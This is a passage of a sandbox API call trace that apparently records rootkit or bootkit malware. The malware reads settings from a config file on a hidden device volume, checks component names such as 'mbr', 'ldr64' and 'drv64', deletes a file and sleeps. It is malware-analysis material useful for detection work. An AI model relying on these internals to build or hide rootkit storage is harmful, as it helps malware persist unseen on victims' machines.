FastMutex=0xfffffa80027d3898) [0120.433] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003467000 [0120.433] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.433] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.433] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.433] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.433] IdePortDispatch () returned 0x103 [0120.433] KeWaitForMutexObject () returned 0x0 [0120.433] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.433] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.433] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.433] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.433] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.433] IdePortDispatch () returned 0x103 [0120.433] KeWaitForMutexObject () returned 0x0 [0120.433] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.433] KeLeaveCriticalRegion () [0120.433] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.434] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.434] KeEnterCriticalRegion () [0120.434] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.434] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.434] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.434] KeLeaveCriticalRegion () [0120.434] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.434] KeEnterCriticalRegion () [0120.434] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.434] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.434] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbae80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.434] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.434] KeLeaveCriticalRegion () [0120.434] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.434] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.434] KeEnterCriticalRegion () [0120.434] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.434] ExFreePoolWithTag (P=0xfffffa8003bcb960, Tag=0x0) [0120.434] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.434] KeLeaveCriticalRegion () [0120.434] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.434] ReleaseMutex (hMutex=0xf0) returned 1 [0120.434] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.434] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.434] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.434] KeEnterCriticalRegion () [0120.434] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.434] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.434] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.434] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.434] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.434] IdePortDispatch () returned 0x103 [0120.434] KeWaitForMutexObject () returned 0x0 [0120.435] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.435] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.435] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.435] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.435] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.435] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bba010 [0120.435] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.435] KeLeaveCriticalRegion () [0120.435] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.435] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.435] KeEnterCriticalRegion () [0120.435] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.435] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.435] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.435] KeLeaveCriticalRegion () [0120.435] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.435] KeEnterCriticalRegion () [0120.435] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.435] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.435] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.435] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.435] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.435] IdePortDispatch () returned 0x103 [0120.435] KeWaitForMutexObject () returned 0x0 [0120.435] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.435] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.435] KeLeaveCriticalRegion () [0120.435] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.435] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.435] KeEnterCriticalRegion () [0120.435] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.435] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003468000 [0120.435] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.435] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.435] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.435] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.435] IdePortDispatch () returned 0x103 [0120.436] KeWaitForMutexObject () returned 0x0 [0120.436] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.436] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.436] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.436] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.436] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.436] IdePortDispatch () returned 0x103 [0120.436] KeWaitForMutexObject () returned 0x0 [0120.436] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.436] KeLeaveCriticalRegion () [0120.436] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.436] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.436] KeEnterCriticalRegion () [0120.436] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.436] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.436] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.437] KeLeaveCriticalRegion () [0120.437] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.437] KeEnterCriticalRegion () [0120.437] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.437] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.437] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbad30, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.437] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.437] KeLeaveCriticalRegion () [0120.437] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.437] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.437] KeEnterCriticalRegion () [0120.437] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.437] ExFreePoolWithTag (P=0xfffffa8003bba010, Tag=0x0) [0120.437] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.437] KeLeaveCriticalRegion () [0120.437] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.437] ReleaseMutex (hMutex=0xf0) returned 1 [0120.437] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.437] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0120.437] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.437] KeEnterCriticalRegion () [0120.437] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.437] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.437] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.437] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.437] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.437] IdePortDispatch () returned 0x103 [0120.437] KeWaitForMutexObject () returned 0x0 [0120.437] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.437] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.437] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.437] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.437] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.437] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbcf00 [0120.437] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.437] KeLeaveCriticalRegion () [0120.437] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.438] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.438] KeEnterCriticalRegion () [0120.438] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.438] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.438] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.438] KeLeaveCriticalRegion () [0120.438] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.438] KeEnterCriticalRegion () [0120.438] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.438] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.438] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.438] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.438] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.438] IdePortDispatch () returned 0x103 [0120.438] KeWaitForMutexObject () returned 0x0 [0120.438] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.438] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.438] KeLeaveCriticalRegion () [0120.438] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.438] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.438] KeEnterCriticalRegion () [0120.438] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.438] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003469000 [0120.438] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.438] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.438] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.438] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.438] IdePortDispatch () returned 0x103 [0120.438] KeWaitForMutexObject () returned 0x0 [0120.439] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.439] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.439] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.439] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.439] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.439] IdePortDispatch () returned 0x103 [0120.439] KeWaitForMutexObject () returned 0x0 [0120.439] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.439] KeLeaveCriticalRegion () [0120.439] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.440] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.440] KeEnterCriticalRegion () [0120.440] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.440] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.440] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.440] KeLeaveCriticalRegion () [0120.440] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.440] KeEnterCriticalRegion () [0120.440] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.440] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.440] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d9380, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.440] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.440] KeLeaveCriticalRegion () [0120.440] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.440] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.440] KeEnterCriticalRegion () [0120.440] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.440] ExFreePoolWithTag (P=0xfffffa8003bbcf00, Tag=0x0) [0120.440] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.440] KeLeaveCriticalRegion () [0120.440] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.440] ReleaseMutex (hMutex=0xf0) returned 1 [0120.440] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0120.440] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0120.440] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0120.440] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.440] KeEnterCriticalRegion () [0120.440] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.440] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.440] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.440] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.440] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.440] IdePortDispatch () returned 0x103 [0120.441] KeWaitForMutexObject () returned 0x0 [0120.441] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.441] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.441] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.441] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.441] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.441] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.441] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.441] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.441] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.441] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.441] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.441] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.441] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.441] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.441] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.441] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.441] KeLeaveCriticalRegion () [0120.441] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.441] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0120.441] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.441] KeEnterCriticalRegion () [0120.441] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.441] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.441] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.441] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.441] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.441] IdePortDispatch () returned 0x103 [0120.441] KeWaitForMutexObject () returned 0x0 [0120.441] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.441] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.441] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.442] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.442] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.442] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.442] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.442] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.442] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.442] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.442] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.442] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.442] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.442] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.442] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.442] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.442] KeLeaveCriticalRegion () [0120.442] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.442] ReleaseMutex (hMutex=0x100) returned 1 [0120.442] Sleep (dwMilliseconds=0x2bf20) [0120.448] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6afcf030, dwHighDateTime=0x1d24fa4)) [0120.448] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0120.448] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.448] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.448] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.448] KeEnterCriticalRegion () [0120.448] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.448] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.448] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.448] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: 